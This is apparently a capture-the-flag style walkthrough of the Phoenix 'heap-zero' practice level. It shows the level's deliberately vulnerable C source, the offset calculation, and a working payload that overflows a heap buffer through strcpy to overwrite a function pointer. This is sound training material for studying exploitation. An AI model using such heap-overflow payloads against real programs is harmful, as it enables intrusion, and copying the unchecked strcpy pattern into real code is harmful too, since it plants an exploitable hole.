phoenix - heap 0
Lets list our files using ls -la
,
user@phoenix-amd64:~$ cp /opt/phoenix/amd64/heap-zero .
user@phoenix-amd64:~$ ls -la
total 44
drwxr-xr-x 2 user user 4096 Jun 16 12:12 .
drwxr-xr-x 3 root root 4096 Jan 13 2019 ..
-rw-r--r-- 1 user user 220 Jan 13 2019 .bash_logout
-rw-r--r-- 1 user user 3526 Jan 13 2019 .bashrc
-rw-r--r-- 1 user user 675 Jan 13 2019 .profile
-rwxr-xr-x 1 user user 21680 Jun 16 12:12 heap-zero
Lets analyse the file type of our binary using file
command,
user@phoenix-amd64:~$ file heap-zero
heap-zero: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /opt/phoenix/x86_64-linux-musl/lib/ld-musl-x86_64.so.1, not stripped
This is a not stripped
binary, so we can read it
Lets try running it,
user@phoenix-amd64:~$ ./heap-zero
Welcome to phoenix/heap-zero, brought to you by https://exploit.education
Please specify an argument to copy :-)
user@phoenix-amd64:~$ ./heap-zero monish
Welcome to phoenix/heap-zero, brought to you by https://exploit.education
data is at 0x7ffff7ef6010, fp is at 0x7ffff7ef6060, will be calling 0x400ace
level has not been passed - function pointer has not been overwritten
It is getting its input from argv
and it expects us to overwrite the function pointer
Lets view the source code of this binary for proper understanding,
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define BANNER \
"Welcome to " LEVELNAME ", brought to you by https://exploit.education"
struct data {
char name[64];
};
struct fp {
void (*fp)();
char __pad[64 - sizeof(unsigned long)];
};
void winner() {
printf("Congratulations, you have passed this level\n");
}
void nowinner() {
printf(
"level has not been passed - function pointer has not been "
"overwritten\n");
}
int main(int argc, char **argv) {
struct data *d;
struct fp *f;
printf("%s\n", BANNER);
if (argc < 2) {
printf("Please specify an argument to copy :-)\n");
exit(1);
}
d = malloc(sizeof(struct data));
f = malloc(sizeof(struct fp));
f->fp = nowinner;
strcpy(d->name, argv[1]);
printf("data is at %p, fp is at %p, will be calling %p\n", d, f, f->fp);
fflush(stdout);
f->fp();
return 0;
}
Here there are two relevant functions winner()
and nowinner()
,
And variables from the struct
are allocated dynamically,
struct data *d;
struct fp *f;
d = malloc(sizeof(struct data));
f = malloc(sizeof(struct fp));
f->fp = nowinner;
Here f->fp
is pointing to nowinner()
To execute this program successfully, we have to overwrite it with winner()
function
Similar like stack, d
and f
are allocated near by near in heap
struct data {
char name[64];
};
struct fp {
void (*fp)();
char __pad[64 - sizeof(unsigned long)];
};
From this we can say d
has a size of 64 bytes
strcpy(d->name, argv[1]);
Here strcpy()
is used to store data in d->name
which is perfect to cause a overflow
Taking a look at the addresses for our functions in 64 bit,
user@phoenix-amd64:~$ nm heap-zero | grep winner
0000000000400ace T nowinner
0000000000400abd T winner
These addresses have \x0a
(badchar), so lets try it on 32 bit
user@phoenix-amd64:~$ file heap-zero
heap-zero: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /opt/phoenix/i486-linux-musl/lib/ld-musl-i386.so.1, not stripped
Now lets check the addresses of our functions,
user@phoenix-amd64:~$ nm heap-zero | grep winner
0804884e T nowinner
08048835 T winner
Lets run it,
user@phoenix-amd64:~$ ./heap-zero AAAAAAAAAAAAA
Welcome to phoenix/heap-zero, brought to you by https://exploit.education
data is at 0xf7e69008, fp is at 0xf7e69050, will be calling 0x804884e
level has not been passed - function pointer has not been overwritten
0x804884e
is the address of nowinner()
We have to overwrite it with the address of winner()
Given data is at 0xf7e69008, fp is at 0xf7e69050
Distance between these two,
>>> print(0xf7e69050-0xf7e69008)
72
So if we pass 72 bytes of junk into data
, we can enter fp
Lets try it,
user@phoenix-amd64:~$ ./heap-zero $(python -c "print('A'*72+'B'*4)")
Welcome to phoenix/heap-zero, brought to you by https://exploit.education
data is at 0xf7e69008, fp is at 0xf7e69050, will be calling 0x42424242
Segmentation fault
As you can see here, we overwrote the fp
with BBBB
Now lets pass the address of winner()
,
user@phoenix-amd64:~$ ./heap-zero $(python -c "print('A'*72+'\x35\x88\x04\x08')")
Welcome to phoenix/heap-zero, brought to you by https://exploit.education
data is at 0xf7e69008, fp is at 0xf7e69050, will be calling 0x8048835
Congratulations, you have passed this level
Done! We have completed “heap-zero” challenge